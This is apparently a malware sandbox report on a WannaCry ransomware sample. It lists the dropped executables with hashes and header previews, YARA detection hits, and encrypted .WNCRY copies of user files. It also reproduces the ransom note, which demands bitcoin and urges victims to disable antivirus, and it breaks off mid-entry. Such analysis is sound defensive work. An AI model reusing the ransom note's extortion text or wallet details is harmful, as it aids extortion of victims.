                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#O..g.v.g.v.g.v..2x.f.v..1|.l.v..1r.e.v.!+.d.v.g.w...v.Q.}.f.v.Richg.v.........PE..L.....[J.....................0......L........ ....@..........................P..............................................| ..<....@............................................................................... ..`............................text............................... ..`.rdata....... ....... ..............@..@.data........0.......0..............@....rsrc........@.......@..............@..@................................................................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\user\Desktop\u.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):245760
                                      Entropy (8bit):6.278920408390635
                                      Encrypted:false
                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                      Malicious:true
                                      Yara Hits:
                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Users\user\Desktop\u.wnry, Author: Joe Security
                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\user\Documents\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\Documents\@WanaDecryptor@.exe

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):245760
                                      Entropy (8bit):6.278920408390635
                                      Encrypted:false
                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\user\Documents\CURQNKVOIX.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8232190320026085
                                      Encrypted:false
                                      SSDEEP:24:BRAWPSU/lVYQ2S3ntLC+EKydUb/GHIIpK64nl+PCPdRR+SW:nArU/o6tHv/GoIOl1PdzW
                                      MD5:AF75D6F0BEEA7EC21B3BCB28773B1AC6
                                      SHA1:DB0E07808F2B088D7633E03AE12A0C784045AE85
                                      SHA-256:99DDF9ADA17B70431F207EB19AF8E39FA7CC6927F9377269E81E3D8037A3A73E
                                      SHA-512:BBEAB10BB82C771303DF0EC0498D6E78B3F6FBAB43A1ECDF70E3580AC5E6FD4A618D9EC433638D6A380E0D7E35D8023597076F31C21B51257DDBE7CE25D494C4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:xx.Qp0.%...$...p..B..........#+$,.........0.:..U.p..D.......d..Y5^..........E...@r........lyD..C7.&.$...d.!.&}..z0.*.k.7m.nPp.............V)...1<./#.F.h...C....8.{j/q.1....9<g..2...9..H.)..F.J.\x5?...OU...6..^..Hm..Y......*L...E(3K.....H.!..~{..&.......-.o..t[>......K...{..........0..-...K.....@.\..E......;.R.Ka4BSK.n...}..z.S.H.N!..n..!.9..m.e.3L....JtY9.q..........+_.>.}o(bT.........7va.@/.../...{.;..DCf.........$i..a.[...l.Y..]..(6./r@..U.....}.n....5.>.'u.h.D.q...TT.xsu.wlF.~....wG.sCT$...5J. .GO.8..RS?.:......p.[..@0y..&..c..Z).a\d..|p.....E.F.#....v~$..#.8.l..).^.......\....t.N.&......Wp./...?....Q.uGc3g....b.K.S;.;.!Z]..J.....o.a..F.(..C.k.@.....kh\.=...9.{.3%..............H.../....B82;..@..#?r...(.m.>....o.....v.%..&e_.].....$.X.l.~.......}.?.&.z......I.y...#..v..$.....p./,........;..W.~.ad...<..X3.....V...6.......CO.G..n..........."E..p"9.....o".....x.|...<..6.......P.8....3......r.....gR21.9.v.Ck.`u%....J.[i......_.c\..a.~TW&...

                                      C:\Users\user\Documents\CURQNKVOIX.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8362848123428
                                      Encrypted:false
                                      SSDEEP:24:bkcGHKWSNkT7CEms5NOzyHEIC8iODc/BZ4tz479Mr1SEqVKSz5V:bkcGrSpEezyHEIC85c/BZs49Mr1SDVzT
                                      MD5:1738F9C9851ECD5B9ADA101A7C469688
                                      SHA1:DBDB1FC31093E587060BB7E4EEDF6609DFFE712C
                                      SHA-256:FCEFD9F75CFF57E846EBB06CF4B39627667B79CAE69374449DF0D648F6746047
                                      SHA-512:8D27C7EB8EB8BFDA0B48A96C105F46155AA4CCBCF9F5F2416ADB93B3DB908D0544E3F272DDF323CFEFEF2AEC38CDE1F63EDDDD2F6F10094CF8F62B91991D433B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........g. ^.M'..I.p..d..@.s.Zn...%6...FH.x...* 2,E.u1=E96q.I.R.}...2Gq...c.A.#`../&(.\i.w.n..a]f..d0..=.....&.......0)...Hw.VK.r....N......e.5..D..q+..w..a.$......^.N.S../.. X .n. ..%j..."..(x........$w..r@uEH..ZA.....t..C...0...E.'a.d.'....zh.]..^............iw..G+.'.9c<.m.!Db.g.U-@..<.DB.an=b.C.2w9.m....K..k.&.&....b..J...i.(]G..'...vS.8>@w..2]..?...-[....vFDG..!..7.l...C......5.w....`I!..gyz.T....A.|...w..f..s....$.j.......r.o.Y.=.4x5)I...}C..6Q6.......q.N.o...e.1...f....P...b...f~......x.|0$...=...dNU/....VEm...O..]./........'.~J.v[.. .mN7...Ah..).W..I....|..@P?.l..P|..l...;..z....>.E..bo%nG=..z'..O.....=.......Re.........x....W...r...N_w2.UYx.7U."..`.Fk.+..2.e..@.eo.a.|;.L......u....@....f...1.c..VV..W............;...&....X.Nl%..[.9.8.D...ERj.4fU>#.t.a0xeo..)@..[......N.D......W..J..AK.}....\#[\....4k.<. 7....9b. ..&.+cK.-.......J~Wt.Xzs...z.o.|..=L.w..6C6....+.....R.P..../0......G...h..'.9G.......rj...2.mv.b..D....i.x.......*...`

                                      C:\Users\user\Documents\CURQNKVOIX.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8362848123428
                                      Encrypted:false
                                      SSDEEP:24:bkcGHKWSNkT7CEms5NOzyHEIC8iODc/BZ4tz479Mr1SEqVKSz5V:bkcGrSpEezyHEIC85c/BZs49Mr1SDVzT
                                      MD5:1738F9C9851ECD5B9ADA101A7C469688
                                      SHA1:DBDB1FC31093E587060BB7E4EEDF6609DFFE712C
                                      SHA-256:FCEFD9F75CFF57E846EBB06CF4B39627667B79CAE69374449DF0D648F6746047
                                      SHA-512:8D27C7EB8EB8BFDA0B48A96C105F46155AA4CCBCF9F5F2416ADB93B3DB908D0544E3F272DDF323CFEFEF2AEC38CDE1F63EDDDD2F6F10094CF8F62B91991D433B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........g. ^.M'..I.p..d..@.s.Zn...%6...FH.x...* 2,E.u1=E96q.I.R.}...2Gq...c.A.#`../&(.\i.w.n..a]f..d0..=.....&.......0)...Hw.VK.r....N......e.5..D..q+..w..a.$......^.N.S../.. X .n. ..%j..."..(x........$w..r@uEH..ZA.....t..C...0...E.'a.d.'....zh.]..^............iw..G+.'.9c<.m.!Db.g.U-@..<.DB.an=b.C.2w9.m....K..k.&.&....b..J...i.(]G..'...vS.8>@w..2]..?...-[....vFDG..!..7.l...C......5.w....`I!..gyz.T....A.|...w..f..s....$.j.......r.o.Y.=.4x5)I...}C..6Q6.......q.N.o...e.1...f....P...b...f~......x.|0$...=...dNU/....VEm...O..]./........'.~J.v[.. .mN7...Ah..).W..I....|..@P?.l..P|..l...;..z....>.E..bo%nG=..z'..O.....=.......Re.........x....W...r...N_w2.UYx.7U."..`.Fk.+..2.e..@.eo.a.|;.L......u....@....f...1.c..VV..W............;...&....X.Nl%..[.9.8.D...ERj.4fU>#.t.a0xeo..)@..[......N.D......W..J..AK.}....\#[\....4k.<. 7....9b. ..&.+cK.-.......J~Wt.Xzs...z.o.|..=L.w..6C6....+.....R.P..../0......G...h..'.9G.......rj...2.mv.b..D....i.x.......*...`

                                      C:\Users\user\Documents\CURQNKVOIX\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\Documents\CURQNKVOIX\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\Documents\CURQNKVOIX\CURQNKVOIX.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.814218940564255
                                      Encrypted:false
                                      SSDEEP:12:lPdj4DMcWb0apnm8P5b12jlU5vFZ9V0tJlPdTFaczCXDWDGN4IrnYXNsJoglM9CF:RdcGBm6z9VYQ7XN9Yd6sC0a//CrC
                                      MD5:70B62284E8CF56FA65E9A9C2229A6D01
                                      SHA1:B7DA9081E07BCD9F379FB13815634CD3F0C0DBDA
                                      SHA-256:6FB0B56D5BCB57A024A2BC1053E41F45427DA1C934CCCDA0E17585340053340F
                                      SHA-512:A04B0C972D67295A525D7B99ED3BBA10B6686EF524EA324B71F79E115A82FE4A5A5B6F2816BC90507C2CEC2D621160FCBB3F7D85BA11DD13E5ED4189392D87AD
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:k.cK.!3..M5..}x..e...5.d.y.)^A$.C..G...3.......PN2.......r..Y..Z...Nn..e.U3..q...A.W.71.pS..^N.t..!..2S..@w.....afM.5~....oS....+.v...R....iG..e...P.....c,&+/.....:U.I.......:..Q.F....?E..?].@...DQs..O....*...R.B...9.M.G.e..../....KF=I....g<J...>x.O W.rf..."..-3.....jz....nA.twe. ....;....>.+]Y:.*RSV......fb..aL.;.4.....l8x..s".p.|........K...7.....^.Xf....b.o.9#.y....T......E.6..A*i:h.9..|tN.&Z.eT.rB..C.%q......G..7FL..I..N7.$)gWf....=*.V.|..,.._...A.*p..`xE......p....qg.....k4H...Eq..ode...2q...#&N.h.a..'p.N.)......T...'..C...EA~.....0.....[.ZyM..E|.W@O=.^..`...B...R/..k...u.Z.Q...Z^. C^.W.?.1deM.. ....6_.....,.9.....~....p.z/.....~.%.....v.P......#.(pO..Q....=./.ie..a....e1..l.....[.Q7....0U..@..p.C.r..1.B.+...^.^=...{...izb.xF....r.G>'...A.E.../+a....1A@q...|w.H.mx..a..^.=.U.U...6}[.7S....J.:o..TGmc...@.. ..eK.....&..[5..,...P0J...Wwm..<L4Z..`.k.[jg.:N.o...+&...#Y.O._.+.,d..B.$n..U.Y...........|...~.........FV..%[D..#!j....u

                                      C:\Users\user\Documents\CURQNKVOIX\CURQNKVOIX.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.844690508940107
                                      Encrypted:false
                                      SSDEEP:24:bkkQGGncM3vFxOQEOu4I7yH2YgmdAaW/0TonddVz5pLPclHFOLqTVQ5296k:bkJdcM3v1FWjmZHTorVzTiDTV4pk
                                      MD5:00B476822CBE17F26AD53B51EAECF441
                                      SHA1:55E59AD71D52EC1C055CA8CAF5D1989429DE2337
                                      SHA-256:3EAC140429CB1145DF9869B46ABB1DA6CB8BC3BB0DBA578D34DF21B3D390F236
                                      SHA-512:65739E52E9C799085F4017DE5B0D1BBD4DEF333A09C07B2723F33990CE87AF402167CFE91ACEBB1D5969A533908DD5F8BF53A62E526AC6474908184643F578B8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......h...(....e6...W5.pb..q...'D6....0x(.([...y...@..m.&....`-...!..[Mr*..Z9.;w..u..k.#.|/..B.C..T.%...j.:./.....u..V..7.=#~.`..a....}..1..E.0.9|..~.jQ.6Al........X.Z..~.h..1..6."+...J0B..?..7...R]...e_....$b....j.....X.1....Z....w....C:\.x.y.c.)_.6................:5*;j.[L....NfW^.t.A.r..dO..R..1y.%?.B:.)...0p'...Nf:.!.|F.....R..OXd.....4...&V.&....1{.l.9^.1....Z.40E.../9.\.........K....&$b.s.....%._-/=..4..=.+K~.2Ve/w.a...mV^S~.j......|.g...oH[...4.j...iaH4o........x..nk..j.k....\?...S.f.X+...9R.6.T....V'......8X.[g..M.5./_[..A;.C...f...].zb..z.S.......J.X...0L......to.....4..2sN..pl*d6..;5.h|w.K+.X.$...@.......u...S..S*..x.G'N>b..zk%X*.ja'h.`.$..2U6..t........7p.....I..Vk.>.l...?.7...Om...m%.....;W...i.p[%.Z....xf.]OM..s.+l&....!....[(./..7Qc.Y.[V.T.F....@...&H`.1.......BXR$.....I@.[...sG[.z..2....wp).lR..s..)<......KCN.Q.U.-k_@..o.)..W. g.'.|...Vf....I.Hg......g,Fe..'....,...Pm.v<...k4..]V.'..s.?.\9e.,}yM$..w..Z.m1-t(.&.z.#

                                      C:\Users\user\Documents\CURQNKVOIX\CURQNKVOIX.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.844690508940107
                                      Encrypted:false
                                      SSDEEP:24:bkkQGGncM3vFxOQEOu4I7yH2YgmdAaW/0TonddVz5pLPclHFOLqTVQ5296k:bkJdcM3v1FWjmZHTorVzTiDTV4pk
                                      MD5:00B476822CBE17F26AD53B51EAECF441
                                      SHA1:55E59AD71D52EC1C055CA8CAF5D1989429DE2337
                                      SHA-256:3EAC140429CB1145DF9869B46ABB1DA6CB8BC3BB0DBA578D34DF21B3D390F236
                                      SHA-512:65739E52E9C799085F4017DE5B0D1BBD4DEF333A09C07B2723F33990CE87AF402167CFE91ACEBB1D5969A533908DD5F8BF53A62E526AC6474908184643F578B8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......h...(....e6...W5.pb..q...'D6....0x(.([...y...@..m.&....`-...!..[Mr*..Z9.;w..u..k.#.|/..B.C..T.%...j.:./.....u..V..7.=#~.`..a....}..1..E.0.9|..~.jQ.6Al........X.Z..~.h..1..6."+...J0B..?..7...R]...e_....$b....j.....X.1....Z....w....C:\.x.y.c.)_.6................:5*;j.[L....NfW^.t.A.r..dO..R..1y.%?.B:.)...0p'...Nf:.!.|F.....R..OXd.....4...&V.&....1{.l.9^.1....Z.40E.../9.\.........K....&$b.s.....%._-/=..4..=.+K~.2Ve/w.a...mV^S~.j......|.g...oH[...4.j...iaH4o........x..nk..j.k....\?...S.f.X+...9R.6.T....V'......8X.[g..M.5./_[..A;.C...f...].zb..z.S.......J.X...0L......to.....4..2sN..pl*d6..;5.h|w.K+.X.$...@.......u...S..S*..x.G'N>b..zk%X*.ja'h.`.$..2U6..t........7p.....I..Vk.>.l...?.7...Om...m%.....;W...i.p[%.Z....xf.]OM..s.+l&....!....[(./..7Qc.Y.[V.T.F....@...&H`.1.......BXR$.....I@.[...sG[.z..2....wp).lR..s..)<......KCN.Q.U.-k_@..o.)..W. g.'.|...Vf....I.Hg......g,Fe..'....,...Pm.v<...k4..]V.'..s.?.\9e.,}yM$..w..Z.m1-t(.&.z.#

                                      C:\Users\user\Documents\CURQNKVOIX\SQRKHNBNYN.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.798925491589487
                                      Encrypted:false
                                      SSDEEP:12:UC0h+xHO6eW2SxT+HblgSiwaUY/ndvAXM7DVYW5fr3LnZE02yngPxkrsDTBlGnY0:UDkO6Li3lY/drqUFE02Z8syvPszL2
                                      MD5:4136305FF4AAD46E7D36A6BECBEB62FA
                                      SHA1:2BE6B165EF25E657DFD8A8B912387CF03A333DBA
                                      SHA-256:BEFCC063E40E4AEB5D1FEE97B3D65DB6DA0D0DBDE0F61E51912B8546417DE1F8
                                      SHA-512:AF7AE691A8576AC846919CAE58831FF68C1671D855BCF8FF84985836279912FB477B79B521DE2EBFDA8DBB2214DDDD54E15AFA3B264F3CD04E7CEEC80194564B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:......=.).\.uC6.D..:.W....@...SjS*5..........B..1#.}_{/r..U.p.M2.mq.9.....*.xL.....~.t.\Z._..<;${.#f.- ...~y...sw.....W....UO.:.........1e.Q....S.....r..U t.....7r.;PU..........4..>......)T.S.S..].Aq..\..1....I.0...7N..k..7.^.........Pp..*.s....P...x.h.J.G.].I.?.<.+M......*...r..c........d.a...s...OX..>.G.p.$..dv7.M._*8.. .wV2..=...oq/Z;j..U..J...s...(...x.S>..\[2.-..f.N...x=......bv. ...r.1.Q.6..F2.pT.>....k;......F.......p>...EsW.4.6.W.w...q.g..Q8Av.5y......T&.b.Y....Fe...*.m..2x$F<C...P...GB...YG^..I....Tv&..W......7...>Y.*..*..).......n.l.%` 67.zz..Y..4.pt.y...n....:Y...+..H.-...=.sg.J9.3......KwD.xg.N.V..8.+.u.9't..f8....1.\{.>`._........nSd/.QV>x.P.p..Nud?Y.:Ir._.....q.[.fvP...o't#.5...H.m~.B.kq...\.......{n..Z....o.N......H.x..\..c...Bk..U..........SAz.2.C=..`.H.....=...u...Ci%.e.kW..wH{f....Jm|3X....S2.%.h.....$..C{.E3...)m...6.*.k.]..rc...9..d..........b.7& ...Y..b7)..m.&VhtyLo..1.....%..{.y.H]gL.~_..L`BL<...-.7.#'L....@l..G...C.

                                      C:\Users\user\Documents\CURQNKVOIX\SQRKHNBNYN.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.851753229091739
                                      Encrypted:false
                                      SSDEEP:24:bkuLBU/N5o/9sHSMqa13fnJD3BbmH4o/QNV6uH2f1ZCtiQE8bZHt:bkuNUA2HzJfdScb6uH2tQt2WN
                                      MD5:541BEC926A9835532BF497A417B6463E
                                      SHA1:CD6308CDFF8D20E33BE9B8641888F09C69546654
                                      SHA-256:91872741BA7D20558D4BFA3E2A0DC204E6AC7621BD3B8A22C704D6BC9B361E7F
                                      SHA-512:B5490A30E204791D749C5B3C4A398B96A998412C31E81DE52C679CB5A4F627A375DD5965279AEAB9D4BFD9CCD2438DB32B5A56695C38C0EC6C88D6458838212F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....O.'....b.2r.c...S.z...!K?.Y.......y....a,[...y.(k....v..$.......B.D.*0.a4..cY....X.%.eE:.T....&)2...]GO...x........f.T..q...L.h.Tk.T.k..B..gN..W.n)..=h./....rd.S..%XqJ.o\..C.29.6L.^0.d....J.q.|.(.<.0.s=....m.W..{.w....g.Dsuz....K.u0..L'.....~}7...............eoV.x.D.n\..t....s....(..p....x..1.... ....l...o..].a.b.\..-.L.06...J$.!.eN...P.X.P.tR..Yw^......m......@.........R..).?;.r....._......b.zj.....).....'B......@.........?.u.....1....c.......2../.(...........Z....-.X.R.G.Jqj.J3.8.K _...6;.F?..6..FURL/f...e..'".../.}........})./-..m8....c<...b....).\-....i...\.q<...V.Q..k$1+.lw.]..r..9......&..7U.r..0-..e..J......fb..+?..;...E7.....!e...m^k.........v..y[.)9..2.d.E..EDJ..R;/>.zk..~....Xe...@.d6.H.g..Tb.._.+..3..._....E..pS...Rt.........#.;J...b..V...33bm,..V......7.....Y...".>..~.......G.Z.$........y.:[..Fg...l...E~..{.^E.Q.}k!..]j9.{..T.K....I..o....o.P..P^..)R..0~.,..R...Vm...83..0>....LU..1.....R........7....>.....j.f|..

                                      C:\Users\user\Documents\CURQNKVOIX\SQRKHNBNYN.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.851753229091739
                                      Encrypted:false
                                      SSDEEP:24:bkuLBU/N5o/9sHSMqa13fnJD3BbmH4o/QNV6uH2f1ZCtiQE8bZHt:bkuNUA2HzJfdScb6uH2tQt2WN
                                      MD5:541BEC926A9835532BF497A417B6463E
                                      SHA1:CD6308CDFF8D20E33BE9B8641888F09C69546654
                                      SHA-256:91872741BA7D20558D4BFA3E2A0DC204E6AC7621BD3B8A22C704D6BC9B361E7F
                                      SHA-512:B5490A30E204791D749C5B3C4A398B96A998412C31E81DE52C679CB5A4F627A375DD5965279AEAB9D4BFD9CCD2438DB32B5A56695C38C0EC6C88D6458838212F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....O.'....b.2r.c...S.z...!K?.Y.......y....a,[...y.(k....v..$.......B.D.*0.a4..cY....X.%.eE:.T....&)2...]GO...x........f.T..q...L.h.Tk.T.k..B..gN..W.n)..=h./....rd.S..%XqJ.o\..C.29.6L.^0.d....J.q.|.(.<.0.s=....m.W..{.w....g.Dsuz....K.u0..L'.....~}7...............eoV.x.D.n\..t....s....(..p....x..1.... ....l...o..].a.b.\..-.L.06...J$.!.eN...P.X.P.tR..Yw^......m......@.........R..).?;.r....._......b.zj.....).....'B......@.........?.u.....1....c.......2../.(...........Z....-.X.R.G.Jqj.J3.8.K _...6;.F?..6..FURL/f...e..'".../.}........})./-..m8....c<...b....).\-....i...\.q<...V.Q..k$1+.lw.]..r..9......&..7U.r..0-..e..J......fb..+?..;...E7.....!e...m^k.........v..y[.)9..2.d.E..EDJ..R;/>.zk..~....Xe...@.d6.H.g..Tb.._.+..3..._....E..pS...Rt.........#.;J...b..V...33bm,..V......7.....Y...".>..~.......G.Z.$........y.:[..Fg...l...E~..{.^E.Q.}k!..]j9.{..T.K....I..o....o.P..P^..)R..0~.,..R...Vm...83..0>....LU..1.....R........7....>.....j.f|..

                                      C:\Users\user\Documents\CURQNKVOIX\UOOJJOZIRH.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.822089595587551
                                      Encrypted:false
                                      SSDEEP:24:0IaKdbKwsmvdcCgmaHXo/aEBldJ522v69tzAzEBEZ+Knjf8KASZ6GT38OkqeD:0/KNKwsWdcjXo/aEBldXS9tzAMEHkJnF
                                      MD5:88C24520AE08E6DE44C39A02EDC01B1C
                                      SHA1:8808D81132C76139EE89CC917ED2E77956D2C3B9
                                      SHA-256:43A62BCCE21912117385D6C25AF1EA157104D932A10CAE1FE618357F2FDFC603
